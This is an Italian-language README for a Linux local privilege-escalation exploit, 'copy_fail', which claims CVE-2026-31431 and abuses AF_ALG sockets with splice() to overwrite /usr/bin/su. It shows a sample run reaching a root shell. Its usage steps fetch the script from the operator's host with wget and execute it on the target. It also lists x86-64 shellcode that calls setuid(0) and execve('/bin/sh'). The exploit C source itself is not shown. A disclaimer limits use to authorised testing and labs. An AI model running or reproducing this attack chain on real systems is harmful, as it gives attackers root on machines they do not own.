CVE-2026-31431 - shell copy_fail

Escalatazione locale dei privilegi tramite socket AF_ALG + sovrascrittura della page cache con splice().

Sovrascrive un binario SUID di sola lettura (/usr/bin/su) con un ELF minimale che chiama setuid(0) + execve("/bin/sh"). Nessuna race condition, nessun offset specifico per distribuzione, singolo tentativo.

$ ./copy_fail_exp.sh
[*] Kernel: 5.15.0-88-generic
[+] Il kernel 5.15 rientra nella finestra vulnerabile (4.9 – 6.18) — procedo
[*] Compilazione...
[+] Compilazione riuscita — avvio

# id
uid=0(root) gid=1000(activemq) groups=1000(activemq)

Vulnerabilità

Il socket AF_ALG (API crittografica) del kernel Linux, combinato con splice(), consente una scrittura in un file aperto con O_RDONLY manipolando la page cache. Il kernel salta il controllo dei permessi di scrittura nel percorso di copy-on-write all'interno del socket ALG — la stessa classe di bug di Dirty Pipe (CVE-2022-0847) ma innescata tramite un percorso di codice diverso introdotto nel kernel 4.9.

Versioni interessate

Testato

Requisiti

• Shell locale sul target (qualsiasi livello di privilegio)
• gcc disponibile sul target
• Accesso in scrittura a /tmp
• Architettura x86-64

Utilizzo

# Sul target
wget http://<your-ip>/copy_fail_exp.sh
chmod +x copy_fail_exp.sh
./copy_fail_exp.sh

Lo script:

1. Verifica se il kernel in esecuzione rientra nell'intervallo vulnerabile
2. Compila l'exploit C incorporato sul target (nessuna dipendenza da zlib)
3. Sovrascrive /usr/bin/su con il payload della shell root
4. Lo esegue

Come funziona

Socket AF_ALG (AEAD)
      │
      │  sendmsg() con dati ancillari modificati (ALG_SET_OP / ALG_SET_IV)
      │
      ▼
  op_fd (socket di operazione)
      ▲
      │  splice(): file_fd → pipe → op_fd
      │
/usr/bin/su (O_RDONLY)

Il percorso di splice() del kernel all'interno del socket ALG salta il controllo dei permessi di copy-on-write, scrivendo direttamente nella page cache del file target nonostante sia aperto in sola lettura. Il payload (un ELF di 160 byte) viene scritto 4 byte alla volta in 40 iterazioni.

Shellcode del payload:

xor  eax, eax
xor  edi, edi            ; uid = 0
mov  al,  105            ; SYS_setuid
syscall                  ; setuid(0)
lea  rdi, [rip+0xf]      ; -> "/bin/sh"
xor  esi, esi            ; argv = NULL
push 59  /  pop rax      ; SYS_execve
cdq                      ; envp = NULL
syscall                  ; execve("/bin/sh", NULL, NULL)

File

Disclaimer

Solo per test di sicurezza autorizzati e ambienti CTF/laboratorio. Non utilizzare contro sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione scritta al test.